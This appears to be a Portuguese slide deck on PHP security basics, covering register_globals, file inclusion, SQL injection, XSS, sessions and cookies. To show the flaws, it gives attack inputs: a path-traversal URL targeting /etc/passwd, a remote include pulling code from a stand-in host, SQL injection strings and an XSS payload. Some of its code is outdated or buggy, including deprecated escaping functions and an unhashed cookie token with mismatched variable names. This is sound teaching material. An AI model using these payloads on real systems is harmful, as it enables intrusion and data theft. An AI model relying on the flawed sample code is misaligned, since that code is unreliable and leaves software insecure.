4. Desvantagens do PHP
tipagem dinâmica
inicialização automática de variáveis
configurações padrão não priorizam a segurança
5. A função error_reporting()
Define quais erros serão reportados
Aconselhado em Desenvolvimento:
error_reporting(E_ALL|E_STRICT); // 6143
ou
error_reporting(2147483647);
Aconselhado em Produção
error_reporting(0);
Veja php.net/error_reporting
7. Casting
intval()
floatval()
strval()
(int), (integer) - molde para inteiro
(bool), (boolean) - converte para booleano
(float), (double), (real) para número de ponto flutuante
(string) - converte para string
(binary) - converte para string binária (PHP 6)
(array) - converte para array
(object) - converte para objeto
(unset) - converte para NULL (PHP 5)
settype (&$var , $type )
8. Verifique o tipo da variável
is_int()
is_float()
is_numeric()
is_string()
is_escalar () // int, float, string, bool
is_resource()
is_object()
is_numeric()
is_null()
is_array()
is_bool
gettype()
9. Register Globals
Padrão
PHP < 4.2.0: true
PHP >= 4.2.0: false
PHP 6: false (diretiva removida)
Maioria dos servidores web = true
http://testepeste.com/index.php?teste=booo
if TRUE:
$teste = 'booo';
$_GET['teste'] = 'booo';
if FALSE
$_GET['teste'] = 'booo';
$teste = ??? ; // variável não setada
10. Registe Globals - Problemas
http://testepeste.com/?autorizado=true
<?php
if (usuario_autenticado()){
$autorizado = true;
}
if ($autorizado){
include '/dados/altamente/sensiveis.php';
}
http://testepeste.com/?arquivo=../../etc/passwd
<?php
include "meus_script/$arquivo";
11. Incluindo arquivos
include() e include_once()
require() e require_once()
readfile()
Arquivos que precisam de processamento PHP
require($file);
if ( file_exists($file) ) {
include($file);
} else {
// tratamento de erro
}
Arquivos que não precisam de processamento PHP
readfile($file);
12. allow_url_include
Padrão na maioria dos servidores web
allow_url_include = 'off'
<?php
include($_GET['file']);
http://testepeste.com/include.php?file=teste.
php
http://testepeste.com/include.php?file=http:
//hell.com/hahaha.txt
13. Pseudo-Casting
Nome de Arquivos
$f=eregi_replace('[^a-zA-Z0-9_-]', '', $f);
CEP
$cep = eregi_replace('[^0-9-]', '', $cep);
Data de Nascimento
$dn = eregi_replace('[^0-9/]', '', $dn);
15. SQL Injection
http://testepeste.com?relatorio.php?nome=Nome
SELECT * FROM `user` WHERE nome='Nome'
http://testepeste.com?relatorio.php?nome=' or 1
SELECT * FROM `user` WHERE nome=' ' or 1
-----------------------------------------------
http://testepeste.com?auth.php?
login=admin&passwd=123
SELECT * FROM `user` WHERE login='admin' AND passwd='123'
http://testepeste.com?auth.php?login=admin'#&passwd=
SELECT * FROM `user` WHERE login='admin'#' AND passwd=
-------------------------------------------------------
Se magic_quotes_gpc estiver on pode duplicar as barras,
entao use uma funcao
function my_escape_strings( $string ) {
if ( !get_magic_quotes_gpc() )
return mysql_escape_string( $string );
else
return $string;
}
16. XSS - Cross-Site Scripting
Consiste em Inserir conteúdo em HTML e JS no banco de
dados ou na página que quando exibidos fazem algo
htmlentities()
htmlspecialchars() //substitui
& (ampersand) torna-se '&'
" (aspas dupla) torna-se '"'
' (aspas simples) torna-se '''
< (menor que) torna-se '<'
> (maior que) torna-se '>'
strip_tags() //remove
<p onmouseover='alert(1)'>algo</p> ficaria paenas algo
17. Arquivo de Senha
SEMPRE FORA DA ÁRVORE WEB
Exemplo:
/index.php
/funcoes.php
/outros_milhares_de_arquivos.php
../xyz_super_secret_pass.php
18. Extensão dos arquivos .php
SEMPRE USEM EXTENSÕES .php
JAMAIS USEM .inc
SE PRECISAREM, USEM .inc.php
.inc nao é interpretado como .php,
óbvio
19. SESSION
session_start();
session_regenerate_id(true);
Ao registrar a sessão, grave o IP e verifique se ele mudou
if (!isset($_SESSION['ip'])) {
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
if ($_SESSION['ip'] !== $_SERVER
['REMOTE_ADDR']) {
session_destroy();
die('alguma mensagem');
}
20. COOKIE
Nunca salve somente o ID no cookie:
Exemplo:
cookie="100"
Use algo como
$cookie="100:7559e8cf919ecac5f918383ea07618b7"
sendo
$private_key = "djklHIU6*&%fytarsd76F67Gy7";
$validate = $_SERVER
['REMOTE_ADDRESS'].$id.$privatekey;
$cookie = "$id:$validate";
21. Impeça acesso direto ao arquivo
Use constatante para controle:
// arquivo index.php
define ("TESTEPESTE_SECURITY", true);
// arquivos incluídos
if (!defined('TESTEPESTE_SECURITY')) {
die ('Você não pode acessar esse arquivo
diretamente') ;
}
// continua o script